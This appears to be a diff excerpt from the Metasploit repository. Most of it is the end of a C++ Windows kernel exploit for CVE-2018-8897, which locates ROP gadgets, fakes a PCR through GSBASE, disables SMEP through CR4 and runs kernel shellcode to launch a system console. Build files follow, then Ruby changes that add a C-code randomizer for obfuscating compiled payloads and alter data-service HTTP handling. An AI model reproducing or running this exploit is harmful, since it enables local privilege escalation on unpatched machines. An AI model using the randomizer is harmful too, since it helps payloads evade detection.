AdrPopRcxRetn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Find [MOV CR4, RCX; RETN]
|
||||
for ( PUCHAR It = NtBegin; It < NtEnd; It++ )
|
||||
{
|
||||
if ( It[ 0 ] == 0x0F && It[ 1 ] == 0x22 &&
|
||||
It[ 2 ] == 0xE1 && It[ 3 ] == 0xC3 )
|
||||
{
|
||||
AdrSetCr4Retn = It - ( PUCHAR ) KrCtx->NtLib + KrCtx->NtBase;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf( "[+] [RETN] Gadget @ %16llx\n", AdrRetn );
|
||||
printf( "[+] [POP RCX; RETN] Gadget @ %16llx\n", AdrPopRcxRetn );
|
||||
printf( "[+] [MOV CR4, RCX; RETN] Gadget @ %16llx\n", AdrSetCr4Retn );
|
||||
|
||||
assert( AdrRetn );
|
||||
assert( AdrPopRcxRetn );
|
||||
assert( AdrSetCr4Retn );
|
||||
|
||||
PUCHAR UPsGetCurrentProcess = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "PsGetCurrentProcess" );
|
||||
PUCHAR UKeBugCheckEx = ( PUCHAR ) GetProcAddress( KrCtx->NtLib, "KeBugCheckEx" );
|
||||
|
||||
for ( int i = 0; i < 0x50; i++ )
|
||||
{
|
||||
if ( UKeBugCheckEx[ i ] == 0x48 && UKeBugCheckEx[ i + 1 ] == 0x8B && // mov rax,
|
||||
UKeBugCheckEx[ i + 7 ] == 0xE8 ) // call
|
||||
{
|
||||
Offset_Prcb__Context = *( int32_t * ) ( UKeBugCheckEx + i + 3 );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for ( int i = 0; i < 0x50; i++ )
|
||||
{
|
||||
if ( UPsGetCurrentProcess[ i ] == 0x48 && UPsGetCurrentProcess[ i + 1 ] == 0x8B && // mov rax,
|
||||
UPsGetCurrentProcess[ i + 7 ] == 0xC3 ) // retn
|
||||
{
|
||||
Offset_KThread__ApcStateFill__Process = *( int32_t * ) ( UPsGetCurrentProcess + i + 3 );
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
|
||||
printf( "[+] Prcb.Context @ %16llx\n", Offset_Prcb__Context );
|
||||
printf( "[+] KThread.ApcStateFill.Process @ %16llx\n", Offset_KThread__ApcStateFill__Process );
|
||||
|
||||
assert( Offset_Prcb__Context );
|
||||
assert( Offset_KThread__ApcStateFill__Process );
|
||||
|
||||
// Setting up GSBASE
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xC );
|
||||
|
||||
*( PVOID* ) ( Pcr + Offset_Pcr__Self ) = Pcr; // Pcr.Self
|
||||
*( PVOID* ) ( Pcr + Offset_Pcr__CurrentPrcb ) = Pcr + Offset_Pcr__Prcb; // Pcr.CurrentPrcb
|
||||
*( DWORD* ) ( Prcb ) = MxCsr__DefVal; // Prcb.MxCsr
|
||||
*( PVOID* ) ( Prcb + Offset_Prcb__CurrentThread ) = KThread; // Prcb.CurrentThread
|
||||
*( PVOID* ) ( Prcb + Offset_Prcb__Context ) = Prcb + 0x3000; // Prcb.Context, Placeholder
|
||||
*( PVOID* ) ( KThread + Offset_KThread__ApcStateFill__Process ) = KProcess; // EThread.ApcStateFill.EProcess
|
||||
*( PVOID* ) ( Prcb + Offset_Prcb__RspBase ) = (PVOID) 1; // Prcb.RspBase
|
||||
*( PVOID* ) ( KThread + Offset_KThread__InitialStack ) = 0; // EThread.InitialStack
|
||||
|
||||
printf( "[+] Finished setting up fake PCR!\n" );
|
||||
printf( "[+] Pcr @ %16llx\n", Pcr );
|
||||
printf( "[+] Prcb @ %16llx\n", Prcb );
|
||||
printf( "[+] EThread @ %16llx\n", KThread );
|
||||
printf( "[+] EProcess @ %16llx\n", KProcess );
|
||||
|
||||
NON_PAGED_DATA static DWORD SavedSS = __readss();
|
||||
|
||||
// Execute Exploit!
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
|
||||
HANDLE ThreadHandle = CreateThread( 0, 0, [ ] ( LPVOID ) -> DWORD
|
||||
{
|
||||
volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
|
||||
|
||||
while ( !Ctx->Rsp ); // Wait for RtlCaptureContext to be called once so we get leaked RSP
|
||||
uint64_t StackInitial = Ctx->Rsp;
|
||||
while ( Ctx->Rsp == StackInitial ); // Wait for it to be called another time so we get the stack pointer difference
|
||||
// between sequential KiDebugTrapOrFault's
|
||||
StackDelta = Ctx->Rsp - StackInitial;
|
||||
PredictedNextRsp = Ctx->Rsp + StackDelta; // Predict next RSP value when RtlCaptureContext is called
|
||||
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8; // Predict where the return pointer will be located at
|
||||
NextRetPtrStorage &= ~0xF;
|
||||
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;
|
||||
// Make RtlCaptureContext write XMM13-XMM15 over it
|
||||
return 0;
|
||||
}, 0, 0, 0 );
|
||||
|
||||
assert( ThreadHandle );
|
||||
printf( "\n- Created context watchdog\n" );
|
||||
printf( "- Thread Id: %16llx\n", ( HANDLE ) GetThreadId( ThreadHandle ) );
|
||||
|
||||
assert( SetThreadPriority( ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL ) );
|
||||
printf( "- Elevated priority to: THREAD_PRIORITY_TIME_CRITICAL\n" );
|
||||
SetThreadAffinityMask( ThreadHandle, 0xFFFFFFFE );
|
||||
SetThreadAffinityMask( HANDLE( -2 ), 0x00000001 );
|
||||
printf( "- Seperated exploit and context watchdog processors\n" );
|
||||
|
||||
k_ExAllocatePool = KrCtx->GetProcAddress<>( "ExAllocatePool" );
|
||||
k_PsReferencePrimaryToken = KrCtx->GetProcAddress<>( "PsReferencePrimaryToken" );
|
||||
k_PsDereferencePrimaryToken = KrCtx->GetProcAddress<>( "PsDereferencePrimaryToken" );
|
||||
k_PsGetCurrentProcess = KrCtx->GetProcAddress<>( "PsGetCurrentProcess" );
|
||||
k_PsInitialSystemProcess = KrCtx->GetProcAddress<uint64_t*>( "PsInitialSystemProcess" );
|
||||
|
||||
printf( "\n" );
|
||||
printf( "- PsInitialSystemProcess: %16llx\n", k_PsInitialSystemProcess );
|
||||
printf( "- PsGetCurrentProcess: %16llx\n", k_PsGetCurrentProcess );
|
||||
printf( "- PsReferencePrimaryToken: %16llx\n", k_PsReferencePrimaryToken );
|
||||
printf( "- PsDereferencePrimaryToken: %16llx\n", k_PsDereferencePrimaryToken );
|
||||
printf( "- ExAllocatePool: %16llx\n", k_ExAllocatePool );
|
||||
printf( "\n" );
|
||||
|
||||
printf( "/--------------------------------------\\\n" );
|
||||
printf( "| Press any key to start exploit! |\n" );
|
||||
printf( "| Warning: This may bugcheck your PC. |\n" );
|
||||
printf( "\\--------------------------------------/\n" );
|
||||
//system( "pause>nul" );
|
||||
printf( "\n" );
|
||||
|
||||
CONTEXT Ctx = { 0 };
|
||||
Ctx.Dr0 = ( uint64_t ) &SavedSS; // Trap SS
|
||||
Ctx.Dr1 = ( uint64_t ) Prcb + Offset_Prcb__Cr8; // Trap KiSaveProcessorControlState, Cr8 storage
|
||||
Ctx.Dr7 =
|
||||
( 1 << 0 ) | ( 3 << 16 ) | ( 3 << 18 ) | // R/W, 4 Bytes, Active
|
||||
( 1 << 2 ) | ( 3 << 20 ) | ( 2 << 22 ); // W, 8 Bytes, Active
|
||||
Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
|
||||
|
||||
printf( "[+] Setting up debug registers:\n" );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
|
||||
printf( "Dr0: %16llx [@SavedSS] (R/W, 4 Bytes, Active)\n", Ctx.Dr0 );
|
||||
printf( "Dr1: %16llx [@SpecialRegisters.CR4] (W, 8 Bytes, Active)\n", Ctx.Dr1 );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
assert( SetThreadContext( HANDLE( -2 ), &Ctx ) );
|
||||
printf( "\n" );
|
||||
|
||||
uint64_t RetnRetn[ 2 ] = { AdrRetn, AdrRetn };
|
||||
uint64_t PopRcxRetnRcx[ 2 ] = { AdrPopRcxRetn, 0x506f8 };
|
||||
uint64_t SetCr4Retn[ 2 ] = { AdrSetCr4Retn, ( uint64_t ) &KernelShellcode };
|
||||
|
||||
// RSP:
|
||||
__setxmm13( ( BYTE* ) RetnRetn ); // &retn // we need to align xmm writes so two place holders just incase!
|
||||
// &retn
|
||||
__setxmm14( ( BYTE* ) PopRcxRetnRcx ); // &pop rcx
|
||||
// 0x506f8
|
||||
__setxmm15( ( BYTE* ) SetCr4Retn ); // &mov cr4, rcx; retn
|
||||
// &KernelShellcode
|
||||
|
||||
printf( "[+] Built ROP Chain:\n" );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xD );
|
||||
printf( "-- &retn; (%016llx)\n", RetnRetn[ 0 ] );
|
||||
printf( "-- &retn; (%016llx)\n", RetnRetn[ 1 ] );
|
||||
printf( "-- &pop rcx; retn; (%016llx)\n", PopRcxRetnRcx[ 0 ] );
|
||||
printf( "-- cr4_nosmep (%016llx)\n", PopRcxRetnRcx[ 1 ] );
|
||||
printf( "-- &mov cr4, rcx; retn; (%016llx)\n", SetCr4Retn[ 0 ] );
|
||||
printf( "-- &KernelShellcode (%016llx)\n", SetCr4Retn[ 1 ] );
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
printf( "\n" );
|
||||
|
||||
|
||||
PVOID ProperGsBase = __read_gs_base();
|
||||
printf( "[+] Writing fake PCR as new GSBASE: %16llx\n", Pcr );
|
||||
printf( "[+] Defering debug exception...\n" );
|
||||
__set_gs_base( Pcr );
|
||||
__triggervuln( ContextBackup, &SavedSS ); // Let the fun begin
|
||||
__set_gs_base( ProperGsBase );
|
||||
printf( "[+] Restored old GSBASE: %16llx\n", ProperGsBase );
|
||||
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xA );
|
||||
printf( "[+] Exploit successful!\n\n" );
|
||||
|
||||
|
||||
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 0xF );
|
||||
printf( "/------------------------------------------\\\n" );
|
||||
printf( "| Press any key to launch a system console |\n" );
|
||||
printf( "\\------------------------------------------/" );
|
||||
//system( "pause>nul" );
|
||||
system( argv[1] );
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2013
|
||||
VisualStudioVersion = 12.0.21005.1
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2018-8897-exe", "cve-2018-8897-exe.vcxproj", "{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.ActiveCfg = Release|x64
|
||||
{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}.Release|Win32.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,160 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Error.h" />
|
||||
<ClInclude Include="KernelRoutines.h" />
|
||||
<ClInclude Include="LockedMemory.h" />
|
||||
<ClInclude Include="Native.h" />
|
||||
<ClInclude Include="NtDefines.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2018-8897-exe.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Native.asm" />
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{270A69FF-C7BA-433D-9AF0-F16DED29C5DB}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>cve20188897exe</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
44
external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters
vendored
Executable file
44
external/source/exploits/cve-2018-8897-exe/cve-2018-8897-exe.vcxproj.filters
vendored
Executable file
|
@ -0,0 +1,44 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="KernelRoutines.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="LockedMemory.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Native.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="NtDefines.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Error.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cve-2018-8897-exe.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Native.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -2,6 +2,7 @@ require 'metasm'
|
|||
require 'erb'
|
||||
require 'metasploit/framework/compiler/utils'
|
||||
require 'metasploit/framework/compiler/headers/windows'
|
||||
require 'metasploit/framework/obfuscation/crandomizer'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
|
@ -13,7 +14,7 @@ module Metasploit
|
|||
#
|
||||
# @param c_template [String] The C source code to compile.
|
||||
# @param type [Symbol] PE type, either :exe or :dll
|
||||
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||
# @raise [NotImplementedError] If the type is not supported.
|
||||
# @return [String] The compiled code.
|
||||
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
|
||||
|
@ -36,12 +37,40 @@ module Metasploit
|
|||
# @param out_file [String] The file path to save the binary as.
|
||||
# @param c_template [String] The C source code to compile.
|
||||
# @param type [Symbol] PE type, either :exe or :dll
|
||||
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||
# @return [Integer] The number of bytes written.
|
||||
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
|
||||
pe = self.compile(c_template, type)
|
||||
File.write(out_file, pe)
|
||||
end
|
||||
|
||||
# Returns the binary of a randomized and compiled source code.
|
||||
#
|
||||
# @param c_template [String]
|
||||
#
|
||||
# @raise [NotImplementedError] If the type is not supported.
|
||||
# @return [String] The compiled code.
|
||||
def self.compile_random_c(c_template, opts={})
|
||||
type = opts[:type] || :exe
|
||||
cpu = opts[:cpu] || Metasm::Ia32.new
|
||||
weight = opts[:weight] || 80
|
||||
headers = Compiler::Headers::Windows.new
|
||||
source_code = Compiler::Utils.normalize_code(c_template, headers)
|
||||
randomizer = Metasploit::Framework::Obfuscation::CRandomizer::Parser.new(weight)
|
||||
randomized_code = randomizer.parse(source_code)
|
||||
self.compile_c(randomized_code.to_s, type, cpu)
|
||||
end
|
||||
|
||||
# Saves the randomized compiled code as a file. This is basically a wrapper for #self.compile_random_c
|
||||
#
|
||||
# @param out_file [String] The file path to save the binary as.
|
||||
# @param c_template [String] The C source code to randomize and compile.
|
||||
# @param opts [Hash] Options to pass to #compile_random_c
|
||||
# @return [Integer] The number of bytes written.
|
||||
def self.compile_random_c_to_file(out_file, c_template, opts={})
|
||||
pe = self.compile_random_c(c_template, opts)
|
||||
File.write(out_file, pe)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -61,6 +61,23 @@ class DataProxy
|
|||
set_data_service(data_service_id)
|
||||
end
|
||||
|
||||
#
|
||||
# Delete the specified data service
|
||||
#
|
||||
def delete_data_service(data_service_id)
|
||||
raise ArgumentError.new('Cannot delete data service id: 1') if data_service_id.to_i == 1
|
||||
|
||||
data_service = @data_services.delete(data_service_id.to_i)
|
||||
if data_service.nil?
|
||||
raise "Data service with id: #{data_service_id} does not exist"
|
||||
end
|
||||
|
||||
if @current_data_service == data_service
|
||||
# set the current data service to the first data service created
|
||||
@current_data_service = @data_services[1]
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Set the data service to be used
|
||||
#
|
||||
|
|
|
@ -14,6 +14,8 @@ class RemoteHTTPDataService
|
|||
include Metasploit::Framework::DataService
|
||||
include DataServiceAutoLoader
|
||||
|
||||
DEFAULT_USER_AGENT = "metasploit v#{Metasploit::Framework::VERSION}"
|
||||
|
||||
EXEC_ASYNC = { :exec_async => true }
|
||||
GET_REQUEST = 'GET'
|
||||
POST_REQUEST = 'POST'
|
||||
|
@ -23,10 +25,17 @@ class RemoteHTTPDataService
|
|||
#
|
||||
# @param [String] endpoint A valid http or https URL. Cannot be nil
|
||||
#
|
||||
def initialize(endpoint, https_opts = {})
|
||||
def initialize(endpoint, opts = {})
|
||||
validate_endpoint(endpoint)
|
||||
@endpoint = URI.parse(endpoint)
|
||||
@https_opts = https_opts
|
||||
@https_opts = opts[:https_opts]
|
||||
@api_token = opts[:api_token]
|
||||
|
||||
@headers = {}
|
||||
user_agent = !opts[:user_agent].nil? ? opts[:user_agent] : DEFAULT_USER_AGENT
|
||||
set_header('User-Agent', user_agent)
|
||||
set_header('Authorization', "Bearer #{@api_token}") unless @api_token.nil?
|
||||
|
||||
build_client_pool(5)
|
||||
end
|
||||
|
||||
|
@ -147,13 +156,13 @@ class RemoteHTTPDataService
|
|||
client = @client_pool.pop
|
||||
case request_type
|
||||
when GET_REQUEST
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
request = Net::HTTP::Get.new(uri.request_uri, initheader=@headers)
|
||||
when POST_REQUEST
|
||||
request = Net::HTTP::Post.new(uri.request_uri)
|
||||
request = Net::HTTP::Post.new(uri.request_uri, initheader=@headers)
|
||||
when DELETE_REQUEST
|
||||
request = Net::HTTP::Delete.new(uri.request_uri)
|
||||
request = Net::HTTP::Delete.new(uri.request_uri, initheader=@headers)
|
||||
when PUT_REQUEST
|
||||
request = Net::HTTP::Put.new(uri.request_uri)
|
||||
request = Net::HTTP::Put.new(uri.request_uri, initheader=@headers)
|
||||
else
|
||||
raise Exception, 'A request_type must be specified'
|
||||
end
|
||||
|
@ -179,8 +188,6 @@ class RemoteHTTPDataService
|
|||
end
|
||||
|
||||
def set_header(key, value)
|
||||
@headers = Hash.new() if @headers.nil?
|
||||
|
||||
@headers[key] = value
|
||||
end
|
||||
|
||||
|
@ -256,12 +263,6 @@ class RemoteHTTPDataService
|
|||
request.body = json_body
|
||||
end
|
||||
|
||||
if !@headers.nil? && !@headers.empty?
|
||||
@headers.each do |key, value|
|
||||
request[key] = value
|
||||
end
|
||||
end
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,2 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/code_factory'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/parser'
|
|
@ -0,0 +1,18 @@
|
|||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
|
||||
|
||||
# Used as random statements
|
||||
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/gettickcount'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/if'
|
||||
require 'metasploit/framework/obfuscation/crandomizer/code_factory/int_assignments'
|
||||
